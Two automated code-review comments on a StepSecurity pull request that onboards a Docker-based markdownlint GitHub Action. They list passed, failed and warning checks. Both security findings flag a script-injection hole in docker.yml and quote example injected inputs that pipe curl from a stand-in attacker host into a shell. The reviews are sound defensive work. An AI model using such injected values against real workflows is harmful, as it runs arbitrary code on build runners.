[Raj-StepSecurity]

https://github.com/nosborn/github-action-markdown-cli

[github-actions]

PR Review

Action Type

Docker-based — action.yml uses runs: using: docker, image: Dockerfile.

✅ Passed Checks

• License: LICENSE file present with copyright for both the original author (Nick Osborn) and StepSecurity.
• action.yml: Present with author: 'step-security'.
• SECURITY.md: Present.
• No FUNDING.yml: Not found in the repository.
• auto_cherry_pick.yml: Present in .github/workflows/.
• actions_release.yml: Present in .github/workflows/.
• No renovate.json: Not found.
• No PULL_REQUEST.md: Not found.
• No ISSUE_TEMPLATE folder: Not found.
• No CHANGELOG.md: Not found.
• No .vscode folder: Not found.
• README version tag: Usage example correctly uses only the major version (@v3).
• README banner: StepSecurity maintained action banner is present and correctly linked.
• Subscription check URL: entrypoint.sh calls the correct endpoint (https://agent.api.stepsecurity.io/v1/github/$GITHUB_REPOSITORY/actions/maintained-actions-subscription).
• UPSTREAM variable: Value nosborn/github-action-markdown-cli correctly matches original-owner: "nosborn" and repo-name: "github-action-markdown-cli" from auto_cherry_pick.yml.

❌ Failed Checks

• Docker action must use a published image: action.yml specifies image: Dockerfile, which causes GitHub to build the Docker image locally from source on every action invocation. Docker-based actions must reference a pre-published image (e.g., image: docker://ghcr.io/step-security/github-action-markdown-cli:v3).
• Docker image not tagged with major version: .github/workflows/docker.yml only applies the full semver tag (e.g., v3.5.0) to the published image. A major-version alias (e.g., v3) must also be pushed so action.yml can reference it stably.
• action.yml does not reference the published image: Even though docker.yml publishes an image to ghcr.io/${{ github.repository }}, action.yml does not consume it — fixing both issues above is required together.

⚠️ Warnings

• echo -e in a POSIX sh script: entrypoint.sh declares #!/bin/sh but uses echo -e (a bash/busybox extension, not POSIX). While it works on Alpine Linux's BusyBox sh, replacing with printf would be more correct.
• Unpinned actions in ci.yml: actions/checkout@v7, actions/setup-python@v7, and step-security/pre-commit-action@v3 are referenced by mutable version tags instead of immutable SHA hashes. Pinning to SHAs improves supply-chain integrity.

🔒 Security Findings

• Command injection in .github/workflows/docker.yml (line 29): TAG=${{ github.event.inputs.release_tag }} interpolates a user-controlled workflow input directly into the shell script. A value containing shell metacharacters (e.g., v1.0.0; curl attacker.com | sh) would execute arbitrary commands on the runner. Fix: pass via an env: block and reference as $TAG in the shell — see the inline comment for a concrete suggestion.

Summary

The onboarding covers the required structural checklist well — license attribution, author fields, SECURITY.md, required workflows, subscription check, and README branding all pass. However, three Docker-specific requirements fail (local Dockerfile instead of published image, missing major-version tag, and action.yml not referencing the published image), and there is a command injection vulnerability in docker.yml that must be resolved before this PR can be merged.

[github-actions]

PR Review

Action Type

Docker-based — action.yml uses runs.using: docker with image: Dockerfile. The repo also contains a package.json and package-lock.json because the Docker image bundles markdownlint-cli as a Node.js dependency installed at image-build time.

---

✅ Passed Checks

• License — LICENSE is present with dual copyright: Nick Osborn (original author) and StepSecurity.
• action.yml author — author: 'step-security' is correctly set.
• SECURITY.md — Present, pointing to security@stepsecurity.io.
• FUNDING.yml — Not present. ✅
• renovate.json — Not present. ✅
• PULL_REQUEST.md — Not present. ✅
• ISSUE_TEMPLATE folder — Not present. ✅
• CHANGELOG.md — Not present. ✅
• .vscode folder — Not present. ✅
• .github/workflows/auto_cherry_pick.yml — Present. ✅
• .github/workflows/actions_release.yml — Present. ✅
• README usage example uses major version tag — uses: step-security/github-action-markdown-cli@v3 (major-only). ✅
• StepSecurity maintained action banner — Present in README.md. ✅
• Subscription check API URL — entrypoint.sh calls https://agent.api.stepsecurity.io/v1/github/$GITHUB_REPOSITORY/actions/maintained-actions-subscription. ✅
• UPSTREAM variable matches auto_cherry_pick.yml — UPSTREAM="nosborn/github-action-markdown-cli" matches original-owner: "nosborn" + repo-name: "github-action-markdown-cli". ✅
• package.json author / repository fields — Neither field is present; both are ignored per policy. ✅
• Dependencies — markdownlint-cli is the sole dependency and is actively used via npx markdownlint in entrypoint.sh. ✅

---

❌ Failed Checks

• Docker action must use a published image, not a local Dockerfile (action.yml line 28)
  image: Dockerfile builds the image on every action run. Per policy, docker-based actions must reference a pre-published image from the step-security org (e.g. docker://ghcr.io/step-security/github-action-markdown-cli:v3).

• Docker image not published to the step-security org — No published image reference exists. The docker.yml workflow does push to ghcr.io/${{ github.repository }}, but action.yml does not consume it.

• Docker image not tagged with major version (.github/workflows/docker.yml line 54)
  docker.yml only pushes the full semver tag (e.g. :v3.5.0). It must also push a major-version tag (e.g. :v3) so that action.yml can reference a stable, evergreen tag.

---

⚠️ Warnings

• echo -e used with #!/bin/sh (entrypoint.sh line 10, 13, 15)
  echo -e is a busybox/bash extension, not POSIX sh. It works on Alpine but is not portable. Prefer printf for escape sequences.

• JSON body constructed via printf without sanitizing values (entrypoint.sh line 22, 24)
  ACTION_REPO and SERVER_URL are interpolated raw into the JSON string. If either value contains " or \, the JSON will be malformed. Use jq -cn --arg to build the body safely — jq is already installed in the Dockerfile.

• Problem matcher regex missing : before column group (markdownlint-problem-matcher.json line 11)
  The pattern (?:\\d+)? will never match the column number because the : separator is absent. Should be (?::\\d+)?. The regex still functions (column is optional), but the column number is silently dropped from annotations.

• ci.yml actions are not pinned to SHA — actions/checkout@v7 and actions/setup-python@v7 use mutable version tags, not immutable commit SHAs. Consider pinning or adding harden-runner as done in docker.yml.

---

🔒 Security Findings

• Script injection in .github/workflows/docker.yml (line 29) — TAG=${{ github.event.inputs.release_tag }} interpolates user-controlled input directly into the shell script before execution. A value like v1.0.0; curl https://attacker.example would execute arbitrary commands. The if: startsWith(...) job-level guard is not sufficient mitigation. Fix: bind the input to an env: variable and read it from there (see inline comment for the exact suggestion).

---

Summary

The onboarding PR is well-structured and passes most administrative and content checks. However, it has three blocking failures: the action references a local Dockerfile instead of a published image, no image is pushed to the step-security org with a major-version tag, and there is a script injection vulnerability in docker.yml that must be fixed before merge.